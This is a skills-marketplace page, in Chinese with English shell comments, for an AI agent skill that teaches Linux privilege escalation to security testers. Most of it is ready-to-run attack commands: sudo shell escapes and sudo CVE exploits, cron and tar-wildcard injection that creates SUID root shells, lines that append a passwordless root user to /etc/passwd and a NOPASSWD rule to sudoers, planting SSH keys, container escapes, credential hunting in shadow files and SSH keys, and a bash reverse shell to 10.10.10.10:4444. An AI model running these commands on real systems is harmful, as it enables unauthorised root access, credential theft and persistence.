mcpField
E
escalating-linux-privileges

escalating-linux-privileges

github.com/trilwu安全177100 次安装12 周前更新
代码仓库

关于 escalating-linux-privileges

escalating-linux-privileges 是用于发现和评估 Linux 权限提升路径的安全技能,涵盖系统枚举、常见配置错误、本地利用途径及自动化枚举工具,面向安全测试人员。

主要功能

  1. 01系统与用户枚举
  2. 02sudo 和 SUID/SGID 检查
  3. 03Capabilities 与 cron 任务测试
  4. 04可写文件与密码搜索
  5. 05内核和容器检查
  6. 06使用 LinPEAS 与 LSE 自动枚举

适用场景

  1. 01审查 Linux 主机的提权路径
  2. 02检查 sudo 和 SUID 配置错误
  3. 03调查可写的 cron 脚本
  4. 04使用 LinPEAS 枚举主机

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/trilwu/secskills --skill escalating-linux-privileges

安装后在 Claude Code 中输入/escalating-linux-privileges确认已加载。

附带文件references/kernel-and-nfs.mdreferences/suid-sgid-and-capabilities.md

详细介绍

Linux 权限提升技能

你是一名专攻权限提升技术的 Linux 安全专家。用户请求以下方面的帮助时,请使用此技能:

  • 在 Linux 系统上提升权限
  • 识别错误配置和漏洞
  • 利用 SUID/SGID 二进制文件
  • 滥用 Linux 功能
  • 内核利用
  • 容器逃逸技术
  • Sudo 错误配置和绕过方法
  • Cron 任务利用
  • 路径劫持攻击

适用场景

用户请求以下操作时,启用此技能:

  • 在 Linux 系统上提升权限
  • 枚举 Linux 权限提升途径
  • 利用 SUID 二进制文件或功能
  • 滥用 sudo 错误配置
  • 逃逸容器
  • 识别内核漏洞利用
  • 查找并利用 cron 任务弱点
  • 分析 Linux 安全错误配置

不适用场景

  • Windows 主机 — 使用 escalating-windows-privileges
  • 容器逃逸 — 使用 exploiting-containers
  • 保留已获得的访问权限 — 使用 establishing-persistence
  • 以防御者身份分析已遭入侵的主机 — 使用 responding-to-incidents

核心方法

1. 初始系统枚举

系统信息:

# OS and kernel version
cat /proc/version
uname -a
lsb_release -a
cat /etc/os-release

# Check for kernel exploits
searchsploit "Linux Kernel $(uname -r)"
uname -r

# CPU and system stats
lscpu
cat /proc/cpuinfo
df -h

当前用户上下文:

# Who am I?
id
whoami
groups
sudo -l

# Environment variables (passwords, API keys?)
env
set
cat /proc/self/environ | tr '\0' '\n'

# Check PATH for hijacking opportunities
echo $PATH

用户和组:

# All users
cat /etc/passwd
cat /etc/passwd | grep -v "nologin\|false" | cut -d: -f1

# Users with bash
cat /etc/passwd | grep "/bin/bash"

# User details
cat /etc/shadow  # If readable
cat /etc/group

# Home directories
ls -la /home/
2. Sudo 利用

检查 Sudo 权限:

# What can I run as root?
sudo -l

# Check sudo version for known vulns
sudo -V
sudo --version

常见的 Sudo 错误配置:

# NOPASSWD entries
sudo -l | grep NOPASSWD

# Wildcards exploitation
# If: (root) NOPASSWD: /bin/cp /tmp/* /var/www/html/
# Then: Create malicious file in /tmp, overwrite system files

# Shell escapes from sudo
# If you can run vim, less, more, man, etc. with sudo:
sudo vim -c ':!/bin/bash'
sudo less /etc/profile  # then !/bin/bash
sudo awk 'BEGIN {system("/bin/bash")}'
sudo find . -exec /bin/bash \; -quit
sudo nmap --interactive  # then !bash

Sudo CVE:

# CVE-2021-3156 (Baron Samedit) - Sudo < 1.9.5p2
sudoedit -s /
sudoedit -s '\' $(python3 -c 'print("A"*1000)')

# CVE-2019-14287 - Sudo < 1.8.28
# If: (ALL, !root) /bin/bash
sudo -u#-1 /bin/bash

# CVE-2019-18634 - Sudo < 1.8.26, pwfeedback enabled in /etc/sudoers
# Exploitable if pwfeedback is enabled in /etc/sudoers

适用于 Sudo 的 GTFOBins:

# Check https://gtfobins.github.io/ for specific binary
# Examples:
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
sudo git -p help  # then !/bin/bash
sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh
3. SUID/SGID 二进制文件和 Linux 功能

SUID/SGID 二进制文件和文件功能是最常见的两种本地权限提升途径。枚举所有此类文件,然后逐一检查 GTFOBins,并优先使用 -p shell,以免权限被降级。详尽的 find 枚举、GTFOBins 单行命令以及各项功能的滥用目录,参见 references/suid-sgid-and-capabilities.md。

4. Cron 任务利用

枚举 Cron 任务:

# System-wide cron
cat /etc/crontab
ls -la /etc/cron.*
ls -la /etc/cron.d/
ls -la /var/spool/cron/
ls -la /var/spool/cron/crontabs/

# User crontabs
crontab -l
crontab -l -u username

# Check for running cron
ps aux | grep cron
systemctl status cron

利用可写的 Cron 脚本:

# If a cron script is writable
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /path/to/cron/script.sh
# Wait for cron to execute
/tmp/rootbash -p

# Reverse shell payload
echo 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' >> /path/to/cron/script.sh

利用 Cron 中的 PATH:

# If cron uses relative paths without full path
# Example: /etc/crontab contains: * * * * * root backup.sh
# Create malicious backup.sh in /tmp/ and modify PATH
echo '/bin/bash -c "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash"' > /tmp/backup.sh
chmod +x /tmp/backup.sh

Cron 中的通配符:

# If cron job has: tar czf /backup/backup.tar.gz *
# Create malicious files
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > exploit.sh
chmod +x exploit.sh
touch -- --checkpoint=1
touch -- --checkpoint-action=exec=exploit.sh
# When tar runs with wildcard, it executes exploit.sh
5. 可写文件和目录

查找可写文件:

# World-writable files
find / -writable -type f 2>/dev/null | grep -v "/proc/"
find / -perm -2 -type f 2>/dev/null

# Files owned by current user
find / -user $(whoami) 2>/dev/null
find / -group $(groups | cut -d' ' -f1) 2>/dev/null

# Writable /etc/ files (critical)
find /etc -writable -type f 2>/dev/null

关键可写文件:

# /etc/passwd - add root user
echo 'newroot::0:0:root:/root:/bin/bash' >> /etc/passwd
su newroot

# /etc/shadow - overwrite root hash
# Generate hash: openssl passwd -6 password
# Replace root line

# /etc/sudoers - add sudo permission
echo 'username ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers

# /etc/crontab - add malicious cron
echo '* * * * * root /tmp/exploit.sh' >> /etc/crontab

# ~/.ssh/authorized_keys - add SSH key
ssh-keygen -t rsa
cat ~/.ssh/id_rsa.pub >> /root/.ssh/authorized_keys
6. 容器逃逸

检测是否处于容器中:

# Check for .dockerenv
ls -la /.dockerenv

# Check cgroup
cat /proc/1/cgroup | grep docker
cat /proc/self/cgroup

# Check for container-specific files
ls -la /.containerenv  # Podman
cat /proc/1/environ | grep container

容器逃逸技术:

# Privileged container with access to /dev
# Mount host filesystem
fdisk -l
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host

# Docker socket mounted (/var/run/docker.sock)
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

# Cap_sys_admin capability
# Can mount host filesystem or abuse other admin functions

# containerd/runc escape (CVE-2019-5736)
# Overwrite runc binary on host

# Kubernetes pod escape
# Service account tokens: /run/secrets/kubernetes.io/serviceaccount/
kubectl --token=$(cat /run/secrets/kubernetes.io/serviceaccount/token) get pods
7. 密码搜寻

搜索密码:

# Grep for password strings
grep -r "password" /home/ 2>/dev/null
grep -r "passwd" /var/www/ 2>/dev/null
grep -ir "pwd\|pass" /opt/ 2>/dev/null

# Configuration files
cat /var/www/html/config.php
cat /var/www/html/wp-config.php
cat ~/.bash_history
cat ~/.mysql_history
cat ~/.ssh/id_rsa

# Database files
find / -name "*.db" 2>/dev/null
find / -name "*.sqlite" 2>/dev/null

# Check environment
env | grep -i pass

# Check for credentials in scripts
find / -name "*.sh" -exec grep -l "password" {} \; 2>/dev/null
find / -name "*.py" -exec grep -l "password" {} \; 2>/dev/null

# Memory dumps
strings /dev/mem
strings /proc/kcore

# SSH keys
find / -name id_rsa 2>/dev/null
find / -name id_dsa 2>/dev/null
find / -name authorized_keys 2>/dev/null
8. 内核漏洞利用和 NFS

这些是最后的手段,因此单独列出:它们很少是正确的选择,而且稳定性较差。有关内核漏洞利用的选择以及 no_root_squash NFS 滥用,请参阅 references/kernel-and-nfs.md。

自动化枚举工具

LinPEAS(推荐):

# Download and run
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# Or locally
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

LinEnum:

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh

Linux Smart Enumeration(LSE):

wget https://github.com/diego-treitos/linux-smart-enumeration/raw/master/lse.sh
chmod +x lse.sh
./lse.sh -l1  # Level 1 (fast)
./lse.sh -l2  # Level 2 (thorough)

pspy(监控进程):

# Monitor for cron jobs and processes without root
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64

故障排查

漏洞利用无效:

  • 检查架构:uname -m(x86_64、i686、arm 等)
  • 如果可能,在目标系统上编译
  • 检查内核版本是否与漏洞利用的要求完全匹配
  • 确认漏洞利用针对的是正确的 Linux 发行版
  • 检查是否启用了安全缓解措施(AppArmor、SELinux、ASLR)

SUID 二进制文件未启动 root shell:

  • 使用 -p 标志保留权限:/bin/bash -p
  • 有些 shell 会降级权限;请尝试其他 shell
  • 检查二进制文件是否设置了功能而非 SUID

无法编译漏洞利用:

  • 传输预编译的二进制文件
  • 在攻击者机器上交叉编译
  • 使用静态编译的二进制文件
  • 检查目标上是否有 gcc、g++、make

权限被拒绝错误:

  • 仔细检查文件权限
  • 确认你属于正确的组
  • 检查 AppArmor/SELinux 是否阻止了操作
  • 尝试其他攻击途径

参考资料

ATT&CK 覆盖范围

根据 secskills-core/ttp-index.json 生成——编辑该文件,然后运行 python3 scripts/sync_attack.py --write。引用报告中的 ID 前,请根据 当前 ATT&CK 版本重新核实。

执行(TA0002)

持久化(TA0003)

  • T1053.003 Cron——另请参阅 establishing-persistence
  • T1543.002 Systemd 服务——另请参阅 establishing-persistence

权限提升(TA0004)

  • T1068 利用漏洞进行权限提升——另请参阅 escalating-windows-privileges、exploiting-memory-corruption
  • T1548 滥用权限提升控制机制 (也属于防御规避)——另请参阅 escalating-windows-privileges
  • T1548.001 Setuid 和 Setgid
  • T1548.003 Sudo 和 Sudo 缓存

凭据访问(TA0006)

  • T1003.008 /etc/passwd 和 /etc/shadow——另请参阅 cracking-passwords
  • T1552 未安全存储的凭据——另请参阅 exploiting-cloud-platforms、auditing-supply-chain、abusing-ci-cd-oidc

发现(TA0007)

  • T1082 系统信息发现——另请参阅 escalating-windows-privileges
  • T1083 文件和目录发现——另请参阅 escalating-windows-privileges

横向移动(TA0008)

  • T1021.004 SSH——另请参阅 enumerating-network-services

这些技术的检测内容:engineering-detections。主动搜索:hunting-threats。入侵后处置:responding-to-incidents。

评论

支持 Markdown